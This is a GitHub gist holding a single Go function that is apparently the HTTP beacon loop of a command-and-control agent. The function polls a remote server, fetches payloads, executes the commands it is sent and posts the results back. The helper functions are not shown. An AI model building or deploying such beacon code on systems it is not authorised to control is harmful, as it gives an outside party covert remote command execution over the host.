Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
feed.http2
func (contact HTTP) Communicate(address string, sleep int, beacon Beacon) {
checkValidHTTPTarget(address, true)
for {
beacon.Links = beacon.Links[:0]
for {
body := beaconPOST(address, beacon)
var tempB Beacon
json.Unmarshal(body, &tempB)
if(len(tempB.Links)) == 0 {
break
}
for _, link := range tempB.Links {
var payloadPath string
if len(link.Payload) > 0 {
payloadPath = requestPayload(link.Payload)
}
response, status, pid := commands.RunCommand(link.Request, link.Executor, payloadPath)
link.Response = strings.TrimSpace(response)
link.Status = status
link.Pid = pid
beacon.Links = append(beacon.Links, link)
}
}
jitterSleep(sleep, "HTTP")
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment